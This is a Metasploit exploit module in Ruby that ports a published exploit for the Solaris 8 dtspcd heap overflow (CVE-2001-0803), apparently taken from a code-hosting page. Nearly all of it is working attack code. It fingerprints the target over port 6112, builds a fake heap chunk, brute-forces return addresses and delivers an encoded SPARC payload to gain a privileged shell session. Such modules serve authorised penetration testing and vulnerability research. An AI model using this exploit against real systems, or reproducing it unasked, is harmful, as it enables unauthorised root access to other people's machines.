154 lines
3.8 KiB
Ruby
154 lines
3.8 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Solaris dtspcd Heap Overflow',
|
|
'Description' => %q{
|
|
This is a port of noir's dtspcd exploit. This module should
|
|
work against any vulnerable version of Solaris 8 (sparc).
|
|
The original exploit code was published in the book
|
|
Shellcoder's Handbook.
|
|
},
|
|
'Author' => [ 'noir <noir[at]uberhax0r.net>', 'hdm' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2001-0803'],
|
|
[ 'OSVDB', '4503'],
|
|
[ 'BID', '3517'],
|
|
[ 'URL', 'http://www.cert.org/advisories/CA-2001-31.html'],
|
|
[ 'URL', 'http://media.wiley.com/product_ancillary/83/07645446/DOWNLOAD/Source_Files.zip'],
|
|
|
|
],
|
|
'Privileged' => true,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 800,
|
|
'BadChars' => "\x00\x0d",
|
|
'PrependEncoder' => ("\xa4\x1c\x40\x11" * 3),
|
|
},
|
|
'Platform' => 'solaris',
|
|
'Arch' => ARCH_SPARC,
|
|
'Targets' =>
|
|
[
|
|
['Solaris 8',
|
|
{ 'Rets' =>
|
|
[0xff3b0000, 0x2c000, 0x2f000, 0x400, [ 0x321b4, 0x361d8, 0x361e0, 0x381e8 ] ]
|
|
}
|
|
],
|
|
],
|
|
'DisclosureDate' => 'Jul 10 2002',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(6112)
|
|
], self.class)
|
|
end
|
|
|
|
|
|
def exploit
|
|
return if not dtspcd_uname()
|
|
|
|
target['Rets'][4].each do |tjmp|
|
|
|
|
rbase = target['Rets'][1]
|
|
|
|
while (rbase < target['Rets'][2]) do
|
|
break if session_created?
|
|
begin
|
|
print_status(sprintf("Trying 0x%.8x 0x%.8x...", target['Rets'][0] + tjmp, rbase))
|
|
attack(target['Rets'][0] + tjmp, rbase, payload.encoded)
|
|
break if session_created?
|
|
|
|
attack(target['Rets'][0] + tjmp, rbase + 4, payload.encoded)
|
|
rbase += target['Rets'][3]
|
|
rescue EOFError
|
|
end
|
|
end
|
|
end
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
def check
|
|
return Exploit::CheckCode::Detected if dtspcd_uname()
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def dtspcd_uname
|
|
spc_connect()
|
|
spc_write(spc_register('root', "\x00"), 4)
|
|
host, os, ver, arch = spc_read().gsub("\x00", '').split(':')
|
|
|
|
return false if not host
|
|
|
|
print_status("Detected dtspcd running #{os} v#{ver} on #{arch} hardware")
|
|
spc_write("", 2)
|
|
return true
|
|
end
|
|
|
|
|
|
def chunk_create(retloc, retadd)
|
|
"\x12\x12\x12\x12" +
|
|
[retadd].pack('N')+
|
|
"\x23\x23\x23\x23\xff\xff\xff\xff" +
|
|
"\x34\x34\x34\x34\x45\x45\x45\x45" +
|
|
"\x56\x56\x56\x56" +
|
|
[retloc - 8].pack('N')
|
|
end
|
|
|
|
|
|
def attack(retloc, retadd, fcode)
|
|
spc_connect()
|
|
|
|
begin
|
|
buf = ("\xa4\x1c\x40\x11\x20\xbf\xff\xff" * ((4096 - 8 - fcode.length) / 8)) + fcode
|
|
buf << "\x00\x00\x10\x3e\x00\x00\x00\x14"
|
|
buf << "\x12\x12\x12\x12\xff\xff\xff\xff"
|
|
buf << "\x00\x00\x0f\xf4"
|
|
buf << chunk_create(retloc, retadd)
|
|
buf << "X" * ((0x103e - 8) - buf.length)
|
|
|
|
spc_write(spc_register("", buf), 4)
|
|
|
|
handler
|
|
|
|
rescue EOFError
|
|
end
|
|
end
|
|
|
|
|
|
def spc_register(user='', buff='')
|
|
"4 \x00#{user}\x00\x0010\x00#{buff}"
|
|
end
|
|
|
|
def spc_write(buff = '', cmd='')
|
|
sock.put(sprintf("%08x%02x%04x%04x %s", 2, cmd, buff.length, (@spc_seq += 1), buff))
|
|
end
|
|
|
|
def spc_read
|
|
# Bytes: 0-9 = channel, 9-10 = cmd, 10-13 = mbl, 14-17 = seq
|
|
head = sock.get_once(20)
|
|
sock.get_once( head[10, 13].hex ) || ''
|
|
end
|
|
|
|
def spc_connect
|
|
disconnect
|
|
connect
|
|
@spc_seq = 0
|
|
end
|
|
|
|
end
|